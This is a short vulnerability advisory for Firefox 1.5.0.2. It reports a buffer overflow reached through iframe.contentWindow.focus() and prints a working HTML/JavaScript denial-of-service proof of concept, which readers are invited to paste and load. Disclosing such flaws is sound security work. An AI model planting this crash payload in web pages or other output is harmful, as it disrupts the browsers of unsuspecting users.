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Mozilla Firefox is "a free, open source, cross-platform, graphical web browser developed by the Mozilla Corporation and hundreds of volunteers".

A handling issue exists in how Firefox handles certain Javascript in js320.dll and xpcom_core.dll regarding iframe.contentWindow.focus(). By manipulating this feature a buffer overflow will occur.

Credit:
The information has been provided by chris.
The original article can be found at: http://www.securident.com/vuln/ff.txt

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Vulnerable Systems:
* Mozilla Firefox for Linux / Windows version 1.5.0.2.

Proof of Concept:
Note: Following link lead to page containing malicious DoS code.
http://www.securident.com/vuln/ffdos.htm - Firefox DoS proof of concept.

Paste the below code snippet and view it in Firefox for DoS PoC or visit the link above.

<textarea cols="0" rows="0" id="x_OtherInfo" name="x_OtherInfo"></textarea>
  <script>
       var textarea = document.getElementsByName("x_OtherInfo");
       textarea=textarea.item(0);
           var htmlarea = document.createElement("div");
       htmlarea.className = "htmlarea";
       textarea.parentNode.insertBefore(htmlarea, textarea);
       var iframe = document.createElement("iframe");
       htmlarea.appendChild(iframe);
            var doc = iframe.contentWindow.document;
                 doc.designMode = "on";
                 doc.open();
                 doc.write("<iframe src=''>");
          iframe.contentWindow.focus()
  doc.close();
  </script>
</textarea>

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